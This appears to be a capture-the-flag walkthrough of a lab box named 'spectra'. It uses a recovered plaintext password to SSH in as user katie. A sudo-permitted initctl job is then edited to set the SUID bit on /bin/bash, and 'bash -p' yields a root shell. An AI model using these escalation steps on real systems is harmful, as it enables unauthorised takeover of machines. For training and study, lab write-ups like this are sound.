4 nginx shell > katie
ls -la /home
total 32
drwxr-xr-x 8 root root 4096 Feb 2 15:55 .
drwxr-xr-x 22 root root 4096 Feb 2 14:52 ..
drwx------ 4 root root 4096 Jul 20 2020 .shadow
drwxr-xr-x 20 chronos chronos 4096 Apr 26 22:25 chronos
drwxr-xr-x 4 katie katie 4096 Feb 10 00:38 katie
drwxr-xr-x 5 nginx nginx 4096 Feb 4 12:41 nginx
drwxr-x--t 4 root root 4096 Jul 20 2020 root
drwxr-xr-x 4 root root 4096 Jul 20 2020 usercat
ls -la /opt
total 44
drwxr-xr-x 10 root root 4096 Feb 3 16:42 .
drwxr-xr-x 22 root root 4096 Feb 2 14:52 ..
drwxr-xr-x 2 root root 4096 Jun 28 2020 VirtualBox
-rw-r--r-- 1 root root 978 Feb 3 16:02 autologin.conf.orig
drwxr-xr-x 2 root root 4096 Jan 15 15:53 broadcom
drwxr-xr-x 2 root root 4096 Jan 15 15:54 displaylink
drwxr-xr-x 2 root root 4096 Jan 15 15:53 eeti
drwxr-xr-x 5 root root 4096 Jan 15 15:55 google
drwxr-xr-x 6 root root 4096 Feb 2 15:15 neverware
drwxr-xr-x 5 root root 4096 Jan 15 15:54 tpm1
drwxr-xr-x 5 root root 4096 Jan 15 15:54 tpm2
cat autologin.conf.orig
for dir in /mnt/stateful_partition/etc/autologin /etc/autologin; do <blah>
cat passwd
SummerHereWeCome!!
As SSH is open, we can try ssh into a different user.
katie@spectra ~ $ whoami;id
katie
uid=20156(katie) gid=20157(katie) groups=20157(katie),20158(developers)
katie@spectra ~ $ sudo -l
User katie may run the following commands on spectra:
(ALL) SETENV: NOPASSWD: /sbin/initctl
katie@spectra /etc/init $ sudo /sbin/initctl list | grep test
test stop/waiting
test1 stop/waiting
test7 stop/waiting
modify test1.conf to
script
chmod +s /bin/bash
end script
katie@spectra /etc/init $ sudo /sbin/initctl start test1
test1 start/running, process 4482
katie@spectra /etc/init $ /bin/bash -p
bash-4.3# whoami
root
Last updated